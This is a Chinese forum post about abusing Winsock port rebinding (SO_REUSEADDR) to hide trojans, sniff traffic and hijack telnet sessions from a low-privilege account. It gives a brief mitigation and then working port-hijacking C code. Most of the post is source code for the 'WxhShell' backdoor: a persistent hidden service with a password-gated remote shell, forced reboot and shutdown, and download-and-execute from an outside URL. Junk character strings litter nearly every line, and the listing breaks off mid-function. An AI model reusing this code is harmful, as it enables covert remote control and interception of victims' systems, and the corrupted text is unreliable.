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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3~P$p<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i 7]o[  
EcHZ mf  
  saddr.sin_family = AF_INET; 4xW~@m eNB  
2`]c&k;]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )isS^O$qH  
M]5l-i$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oi0O4J%H  
n8EKTuy  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VzSkqWF/"  
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  这意味着什么?意味着可以进行如下的攻击: \>:t={>;  
Ye On   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J8~hIy6]  
hD5@PeLh  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) GcRH$,<XG  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'Q E8  
X]}ai5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I '0[  
co\?SgE35  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 TYuP EVEXZ  
ph6/+[:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qY-aR;  
:/(G#ZaV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 IA0 vSF:  
-btNwE6[.  
  #include TE&E f$h  
  #include rrU(>jA!  
  #include ;*qXjv& K  
  #include    v>K|hH  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;0WAfu}#H  
  int main() <T7@,_T  
  { S<]k0bC  
  WORD wVersionRequested; -aJ(-Np$f  
  DWORD ret; -!+i ^r  
  WSADATA wsaData; Z|@-=S(.  
  BOOL val; ruagJS)+  
  SOCKADDR_IN saddr; &H# l*  
  SOCKADDR_IN scaddr; ~W>{Dd(J_  
  int err; ~*EipxhstJ  
  SOCKET s; e[x,@P`  
  SOCKET sc; %GjG.11V,_  
  int caddsize; Aa1#Ew<r  
  HANDLE mt; 9Y2u/|!.3  
  DWORD tid;   O8hx}dOjA  
  wVersionRequested = MAKEWORD( 2, 2 ); }%w;@[@L  
  err = WSAStartup( wVersionRequested, &wsaData ); K_U`T;Z\  
  if ( err != 0 ) { bzpi7LKN  
  printf("error!WSAStartup failed!\n"); $]?pAqU\  
  return -1; 27gHgz}}  
  } '*Y mYU  
  saddr.sin_family = AF_INET; |8}y?kAC  
   BpA7 z/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 # d"M(nt  
IJ.H/l}h  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kN 2mPD/  
  saddr.sin_port = htons(23); < *iFVjSI(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hlyh8=Z6o  
  { LGy6 2 y$  
  printf("error!socket failed!\n"); ~jKIuO/  
  return -1; TH4f"h+B3"  
  } B_Wig2xH0  
  val = TRUE; ';.TQ_I7Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hK4ww"-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =:T"naY(  
  { P `<TO   
  printf("error!setsockopt failed!\n"); 9J%O$sF  
  return -1; yT%<  t  
  } :6C R~p  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oBai9 [+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q:>`|~MX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K&._fG  
Pi[]k]XA\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q:vN3#=^qf  
  { n"iaE  
  ret=GetLastError(); M&zB&Ia"'  
  printf("error!bind failed!\n"); 2:.$:wS  
  return -1; $m>( kd1  
  } ]nV_K}!w  
  listen(s,2); ZyU/ .Uk  
  while(1) 6;I zw$X  
  { !U5Cwq  
  caddsize = sizeof(scaddr);  svo%NQ  
  //接受连接请求 zGO_S\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )jI4]6  
  if(sc!=INVALID_SOCKET) .h w(;  
  { QncjSaEE  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S% ptG$Z  
  if(mt==NULL) Y,n8co^  
  { *s1o?'e  
  printf("Thread Creat Failed!\n"); U2_;  
  break; =*4^Dtp  
  } |L;Hd.l7^*  
  } fiAj# mX  
  CloseHandle(mt); K~&3etQF  
  } BR6HD7G  
  closesocket(s); z,qNuv"W  
  WSACleanup(); :'H}b*VWx  
  return 0; -K^(L #G  
  }   muK)Y w[#N  
  DWORD WINAPI ClientThread(LPVOID lpParam) UWCm:eRQ  
  { *}r6V"pH~  
  SOCKET ss = (SOCKET)lpParam; 5U_ar   
  SOCKET sc;  M+=q"#&  
  unsigned char buf[4096]; ' z^v}~  
  SOCKADDR_IN saddr; ,=ju^_^sA  
  long num; Odt<WG  
  DWORD val; ]~m=b` o  
  DWORD ret; m&*0<N  
  //如果是隐藏端口应用的话,可以在此处加一些判断 UBwYwm0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   BhyLcUBuB  
  saddr.sin_family = AF_INET; Pw Amnk !  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a<pEVV\NB~  
  saddr.sin_port = htons(23); A[88IMZs  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GO#eI]>/r  
  { g[{rX4~|  
  printf("error!socket failed!\n"); sQzr+]+#9  
  return -1; iQh:y:Jo1&  
  } p{V(! v|  
  val = 100; sYTToanA$?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 78mJ3/?rC  
  { FP6Jf I8  
  ret = GetLastError(); fb]=MoiJ  
  return -1; 7z&^i-l.  
  } \Zk<|T61$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^^Q> AfTR.  
  { xNVSWi,  
  ret = GetLastError(); n<[H!4  
  return -1; -fz(]d  
  } ciPaCrV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KC\W6|NtGj  
  { T6,6lll  
  printf("error!socket connect failed!\n"); 2IDn4<`  
  closesocket(sc); 6`'KM/   
  closesocket(ss); kdm@1x  
  return -1; ,+g0#8?p^x  
  } #4sSt-s&  
  while(1) ^[ >  
  { >F!X'#Iv  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~;uW) [  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T 6rjtq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 49#?I:l  
  num = recv(ss,buf,4096,0); X0m6<q  
  if(num>0) wB*}XJah  
  send(sc,buf,num,0); P6ugbq[x#e  
  else if(num==0) [%7oq;^J  
  break; `>$l2,  
  num = recv(sc,buf,4096,0); `l}r&z(8  
  if(num>0) K}Pi"Le@W  
  send(ss,buf,num,0); 0bMbM^xV6  
  else if(num==0) T+<OlXpL  
  break; af2yng  
  } '#Y[(5  
  closesocket(ss); >:U{o!N`#_  
  closesocket(sc); WPNvZg9*c  
  return 0 ; 2k""/xMF'  
  } cX-) ]D  
/SYzo4(  
[;i3o?\_I  
========================================================== ,G(bwE9~  
K"ytE2:3  
下边附上一个代码,,WXhSHELL e/u (Re  
c:G0=5  
========================================================== 'ZQR@~G  
QW"BGg~6c  
#include "stdafx.h" 0\^K\J ,.  
?9AtFT  
#include <stdio.h> ig,v6lqhM  
#include <string.h> $t$YdleIH  
#include <windows.h> fxk6q$'  
#include <winsock2.h> )SFy Q  
#include <winsvc.h> \rf2O s  
#include <urlmon.h> Dmv@ljwO  
yE),GJ-m\<  
#pragma comment (lib, "Ws2_32.lib") Q" an6ht|  
#pragma comment (lib, "urlmon.lib") qw%wyj7  
< {dV=  
#define MAX_USER   100 // 最大客户端连接数 f0lK ,U@P  
#define BUF_SOCK   200 // sock buffer ns[Q %_  
#define KEY_BUFF   255 // 输入 buffer W_N!f=HW  
k7Z1Y!n7  
#define REBOOT     0   // 重启 T $;N8x[  
#define SHUTDOWN   1   // 关机 ~w9ZSSb4  
'gwh:8Xc  
#define DEF_PORT   5000 // 监听端口 0E#3XhU  
dy*CDRU4  
#define REG_LEN     16   // 注册表键长度  ~/kx  
#define SVC_LEN     80   // NT服务名长度 -J=N  
rn8t<=ptH3  
// 从dll定义API #>\+6W17U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qy|si4IU8,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VjVL/SO/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %7bZnK`C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]):kMRv  
<oWoJP`G  
// wxhshell配置信息 x?B8b-*  
struct WSCFG { ?rgk  
  int ws_port;         // 监听端口 ^aG=vXK`b  
  char ws_passstr[REG_LEN]; // 口令 uEKa  FRm  
  int ws_autoins;       // 安装标记, 1=yes 0=no Tb6c]?'U  
  char ws_regname[REG_LEN]; // 注册表键名 Fps.Fhm  
  char ws_svcname[REG_LEN]; // 服务名 GT"gB$Mh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SLG3u;Ab  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F[S Ys/M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HJu;4O($  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wm r8[n&c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^yB>0/{)z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >Kc>=^=5  
.AgD`wba  
}; \hwz;V.J"  
BSu ]NOwe  
// default Wxhshell configuration SQB[d3f  
struct WSCFG wscfg={DEF_PORT, )FrXD3 p  
    "xuhuanlingzhe", 7o]p0iLej  
    1,  /P/S0  
    "Wxhshell", Ug^v ]B9  
    "Wxhshell", \;G97o  
            "WxhShell Service", x p#+{}  
    "Wrsky Windows CmdShell Service", "ujt:4 p@  
    "Please Input Your Password: ", |F 18j9  
  1, )cy_d!  
  "http://www.wrsky.com/wxhshell.exe", -]h3s >t  
  "Wxhshell.exe" ;tF7 GjEp  
    }; )0:@T)G  
T;%ceLD  
// 消息定义模块 _ %HyXd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'j+J?Y^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A"@C }f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {6yiD  
char *msg_ws_ext="\n\rExit."; Lc<C1I 5=  
char *msg_ws_end="\n\rQuit."; 4V`ypFme  
char *msg_ws_boot="\n\rReboot..."; -l!;PV S|  
char *msg_ws_poff="\n\rShutdown..."; QDC]g.x  
char *msg_ws_down="\n\rSave to "; >Cjb|f3'i}  
W%=b|6E  
char *msg_ws_err="\n\rErr!"; T?+xx^wYk  
char *msg_ws_ok="\n\rOK!"; vO)nqtw  
y^oSVj  
char ExeFile[MAX_PATH]; Y`u.P(7#  
int nUser = 0; q)uq?sZe  
HANDLE handles[MAX_USER]; @"m? #  
int OsIsNt; IYy2EK[s  
AdtAc$@xK  
SERVICE_STATUS       serviceStatus; /L1qdkG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .hCOi<wB  
In)#`E` g.  
// 函数声明 &OiJJl[9  
int Install(void); gn? ~y`  
int Uninstall(void); UEJX0=  
int DownloadFile(char *sURL, SOCKET wsh); }>w;(R  
int Boot(int flag);  0FHX  
void HideProc(void); ba3_5 5]  
int GetOsVer(void); $e! i4pM  
int Wxhshell(SOCKET wsl); *p.P/w@1  
void TalkWithClient(void *cs); $siiG|)C1  
int CmdShell(SOCKET sock); MOFIR wVZ+  
int StartFromService(void); he/UvMu  
int StartWxhshell(LPSTR lpCmdLine); .s_wP  
~T')s-,l,:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5 s>$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sY t8NsQ  
3H%oTgWk  
// 数据结构和表定义 K@6tI~un  
SERVICE_TABLE_ENTRY DispatchTable[] = C`D5``4  
{ uE>2 *u\  
{wscfg.ws_svcname, NTServiceMain}, xOjCF&W  
{NULL, NULL} iaq0\d.[7  
}; cvbv\G'aT  
$b#"Rv  
// 自我安装 h!f7/) |[o  
int Install(void) /._wXH  
{ ~<pGiW'w5  
  char svExeFile[MAX_PATH]; 1X/ q7lR  
  HKEY key; {O6f1LuH  
  strcpy(svExeFile,ExeFile); oU m"qt_  
WZ'3  
// 如果是win9x系统,修改注册表设为自启动 m&OzT~?_>N  
if(!OsIsNt) { IN!m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M[0@3"}}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w*ig[{ I  
  RegCloseKey(key); Got5(^'c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YXJjqH3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ' hL\xf{  
  RegCloseKey(key); p3*}!ez4  
  return 0; gJ>?<F;  
    } O1@xF9<  
  } X+{4,?04+  
} 3_IuK 6K2  
else { }@V(y9K  
#`/KF_a3\>  
// 如果是NT以上系统,安装为系统服务 5isejR{r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  7[55  
if (schSCManager!=0) <Ja>  
{ ,k/*f+t  
  SC_HANDLE schService = CreateService p~28?lYv  
  ( xX  
  schSCManager, =%|S$J  
  wscfg.ws_svcname, 5-}4jwk  
  wscfg.ws_svcdisp, RaAi9b[/S  
  SERVICE_ALL_ACCESS, C}+w<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5>7ECe*  
  SERVICE_AUTO_START, (?&X<=|"  
  SERVICE_ERROR_NORMAL, q]tPsX5{*  
  svExeFile, J;+iW*E:  
  NULL, L '342(  
  NULL, 3a_S-&?X  
  NULL, V2%FWo|  
  NULL, W\zg#5fmK  
  NULL qU#Gz7/  
  ); x<"e} Oo  
  if (schService!=0) &@A(8(%  
  { dapQ5JT/  
  CloseServiceHandle(schService); {y'c*NS  
  CloseServiceHandle(schSCManager); 8|?$KLz?F>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G7`7e@{  
  strcat(svExeFile,wscfg.ws_svcname); \<~[uv'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p,@_A'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u Y/Q]N T  
  RegCloseKey(key); &`<j!xlG  
  return 0; 8(D>ws$  
    } y`=A$>A  
  } yjpV71!M  
  CloseServiceHandle(schSCManager); ?K{CjwE.M  
} kVQKP  U  
} x+"~-KO8q$  
!tFs(![  
return 1; m"~$JA u  
} [z`U 9J  
_5.^A&Y*  
// 自我卸载 yuk64o2QE  
int Uninstall(void) a>Uk<#>2?a  
{ 6.2_UN^<  
  HKEY key; r<Ll>R  
)`^t,x<S  
if(!OsIsNt) { y_38;8ex  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YQiTx)_  
  RegDeleteValue(key,wscfg.ws_regname); VLc=!W}  
  RegCloseKey(key); mTW0_!.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $TL~SVHj;{  
  RegDeleteValue(key,wscfg.ws_regname); kh 1 7  
  RegCloseKey(key); ~ DVAk|fc  
  return 0; g% #" 5Kr  
  } >tqLwC."'  
} 2IqsBK`  
} F>)u<f,C  
else { 93[c^sc9*a  
v$w!hYsQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?Il$f_"B:  
if (schSCManager!=0) ]6p?mBuQ  
{ ^:\|6`{n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G#8HY VF  
  if (schService!=0) qn6Y(@<[  
  { f$NudG!S  
  if(DeleteService(schService)!=0) { [(w _!|S  
  CloseServiceHandle(schService); ^/2n[orl5  
  CloseServiceHandle(schSCManager); &n6mXFF#>P  
  return 0; V(A6>0s$|  
  } 7<oLe3fbM  
  CloseServiceHandle(schService); E:f0NV3"1  
  }  Jt.dR6,  
  CloseServiceHandle(schSCManager); q*\ #H C  
} uv}[MXOP  
} ,+KZn}>  
s$:F^sxb  
return 1; pRD8/7@(B{  
}  "C B*  
\('8 _tqI"  
// 从指定url下载文件 ( N~[sf?&  
int DownloadFile(char *sURL, SOCKET wsh) +y>D3I  
{ eR D?O  
  HRESULT hr; A /,7%bB1  
char seps[]= "/"; wZ,9~P 7  
char *token; ^vLHs=<  
char *file; q[nX<tO  
char myURL[MAX_PATH]; .KGW#Qk8  
char myFILE[MAX_PATH]; _+S`[:;a  
O$E3ry+?  
strcpy(myURL,sURL); ^UZEdR;  
  token=strtok(myURL,seps); KO<Yc`Fs  
  while(token!=NULL) H ZIJKk(  
  { cn XIE{9M  
    file=token; Fa,a)JY>  
  token=strtok(NULL,seps); 9Y- Sqk+  
  } mrX3/e  
Di<KRg1W]}  
GetCurrentDirectory(MAX_PATH,myFILE); * 'WzIk2  
strcat(myFILE, "\\"); } '.l'%  
strcat(myFILE, file); #qGfo)  
  send(wsh,myFILE,strlen(myFILE),0); |rka/_  
send(wsh,"...",3,0); >lU[ lf+/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4iBp!k7  
  if(hr==S_OK) KY<>S/  
return 0; B@Ez,u5  
else 29 L~SMf  
return 1; 7@$Hua,GY  
|Ma"B4  
} 13I 7ah  
{j+w|;dZF  
// 系统电源模块 Gmi4ffIb3  
int Boot(int flag) ``)ys^V  
{ n|Iy  
  HANDLE hToken; 3<1Uq3Pa  
  TOKEN_PRIVILEGES tkp; w-2p'u['Z  
ns9iTU)  
  if(OsIsNt) { znw\Dn?g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @Nn9- #iW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Pdmfn8I]%  
    tkp.PrivilegeCount = 1; 6&S;Nrg9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (n05MwKu\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D+]#qS1q  
if(flag==REBOOT) { CDQ}C=4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _{)e\n  
  return 0; $*V:; -H  
} <->Nex  
else { Wjn1W;m&g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?1K|.lr  
  return 0; 3xWeN#T0  
} v}!eJzeH  
  } A,{X<mLFb  
  else { <f&z~y=  
if(flag==REBOOT) { FN NEh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1@6dHFA`o  
  return 0; )Ge.1B$8h  
} "~0m_brf  
else { "G-} wt+P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q0i.gEwe  
  return 0; &u( eu'Q3  
}  jhjb)r.  
} ;|6kFBGC"+  
Z|K+{{C  
return 1; 1P:r=Rt/  
}  AC@WhL  
o7)<pfif  
// win9x进程隐藏模块 w$WN` =  
void HideProc(void) 9"Oz-!Y4  
{ >j5) MF{"  
i\lur ET  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I *YO  
  if ( hKernel != NULL ) wWv")dk3i  
  { I&?(=i)N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q{5wx8_U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O}I8P")m  
    FreeLibrary(hKernel); =T;>$&qs  
  } (lq7 ct  
fCdd,,,}  
return; Kq e,p{=  
} r!N)pt<g  
&^3KF0\Q  
// 获取操作系统版本 o^hI\9  
int GetOsVer(void) REUWK#>  
{ Dj}n!M`2I  
  OSVERSIONINFO winfo; .[%em9u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8\+kfK  
  GetVersionEx(&winfo); D 's'LspQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) { </MC`  
  return 1; M9'Qs m  
  else 7pMQ1- (  
  return 0; U]tbV<m%  
} jX}}^XwX  
<NZ^*]  
// 客户端句柄模块 -.-j e"E  
int Wxhshell(SOCKET wsl) ,e{(r0  
{ 83~ Gu[  
  SOCKET wsh; sVtx h]  
  struct sockaddr_in client; <`,pyvR Kv  
  DWORD myID; 4A^=4"BCV  
!Z[dK{ f"  
  while(nUser<MAX_USER) PPSf8-MLW  
{ 9v>BP`Mg  
  int nSize=sizeof(client); g^ZsV:D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eYZ{mo7  
  if(wsh==INVALID_SOCKET) return 1; 86igP  
~CiVLS H=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }`#OA]NZ  
if(handles[nUser]==0) dR~4*59Bg  
  closesocket(wsh); qplz !=  
else N=FU>qbz  
  nUser++; 7hwl[knyB  
  } =<mpZ'9gW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  lc9aDt  
Jlw%t!Kx  
  return 0; /z:pid,_0  
} g /D@/AU1u  
VP[ -BK[  
// 关闭 socket XDs )  
void CloseIt(SOCKET wsh) u=NpL^6s<  
{ 2<HG=iSf  
closesocket(wsh); Z0*Lm+d9z  
nUser--; y57]q#k  
ExitThread(0); H }w"4s  
} ReE-I/n8f  
zK`fX  
// 客户端请求句柄 4|*b{Ni  
void TalkWithClient(void *cs) t I}@1  
{ Ah:!  
8:^`rw4a0  
  SOCKET wsh=(SOCKET)cs; zy\p,  
  char pwd[SVC_LEN]; YoiM\gw  
  char cmd[KEY_BUFF]; V#8]io  
char chr[1]; "8MG[$Y  
int i,j; ^2Sa_.  
qj *IKS  
  while (nUser < MAX_USER) { .BN~9w  
N!Dc\d=8q]  
if(wscfg.ws_passstr) { W:D'k^u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y,&.<Yc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qjcy{@ j  
  //ZeroMemory(pwd,KEY_BUFF); 2,,zN-9mt  
      i=0; 9Fb|B  
  while(i<SVC_LEN) { YI05?J}  
Z* eb  
  // 设置超时 5sJi- ^  
  fd_set FdRead; Pw:(X0@  
  struct timeval TimeOut; Hik8u!#P  
  FD_ZERO(&FdRead); <[{Ty+  
  FD_SET(wsh,&FdRead); BG:l Zj'I  
  TimeOut.tv_sec=8; 6&/H XqP  
  TimeOut.tv_usec=0; p ;E zmz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v~^c-]4I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lF-;h{   
YT!QY@qw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SN2X{Q|*  
  pwd=chr[0]; S~jl%]  
  if(chr[0]==0xd || chr[0]==0xa) { ga0>J_  
  pwd=0; rl-r8?H}  
  break; rN6 @=uB  
  } N)'oX3?x  
  i++; 86Q\G.h7  
    } }#~@HM>6Z  
U-.?+ `  
  // 如果是非法用户,关闭 socket p&1IK8i"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?DPN a  
} 2 mM0\ja  
&_X6m0z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |lH~nU.*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A*l(0`aWq  
v_Om3i9$E  
while(1) { s+Qm/ h2  
Mazjn?f  
  ZeroMemory(cmd,KEY_BUFF); }`k >6B  
J }izTI  
      // 自动支持客户端 telnet标准   jU')8m[  
  j=0; Dw}8ci'  
  while(j<KEY_BUFF) { :$Lu V5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =Ny&`X#F  
  cmd[j]=chr[0]; zA+&V7bvy  
  if(chr[0]==0xa || chr[0]==0xd) { 0l#{7^e  
  cmd[j]=0; LL,&!KW[S  
  break; 2`4'Y.Qf  
  } > Q1r^  
  j++; ~F7 +R   
    } ~doOt  
# Sfz^  
  // 下载文件 #fg RF  
  if(strstr(cmd,"http://")) { @kU{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ydp?%RB3w  
  if(DownloadFile(cmd,wsh)) B ;Zsp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6itp Mck  
  else J/(3: a>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ".+wz1  
  } Id8^6FLw  
  else { p)}iUU2N  
`q Sfo`  
    switch(cmd[0]) { }\5^$[p  
  vn;_|NeSf  
  // 帮助 G=4Da~<ij  
  case '?': { @}@`lv65}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p"^^9'`=  
    break; "B`yk/GM]  
  } e6s-;  
  // 安装 :nki6Rkowt  
  case 'i': { F5Ce:+h  
    if(Install()) =\s(v-8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *yAC8\v  
    else rg U$&O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /'U/rjb_h{  
    break; /7Z0|Zw]  
    } >@^z?nb  
  // 卸载 c_b^t09  
  case 'r': { ?8wFT!J  
    if(Uninstall()) z,XM|-"#<K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1G/bqIMg63  
    else Ve>*KHDSt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S3nA}1R  
    break; =L~,HS(l,  
    } @]lKQZ^2&  
  // 显示 wxhshell 所在路径 .E:QZH'M  
  case 'p': { ?! dp0<  
    char svExeFile[MAX_PATH]; @Tmqw(n{  
    strcpy(svExeFile,"\n\r"); ` c~:3^?9d  
      strcat(svExeFile,ExeFile); :w_J/k5Zd  
        send(wsh,svExeFile,strlen(svExeFile),0); BBw]>*  
    break; 4)Y=)#=  
    } !Dp4uE:Pq  
  // 重启 YIs(Q  
  case 'b': { Qg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); btb-MSkO  
    if(Boot(REBOOT)) V.J[Uwf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SPA_a\6_  
    else { A S;ra,x  
    closesocket(wsh); q[]EVs0$ew  
    ExitThread(0); (1\!6  
    } jM1|+o*Wr  
    break; $5nOiaQL  
    } rly3f  
  // 关机 Q%4>okj,  
  case 'd': { ) ^PY-~o[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N3E Qq~lX  
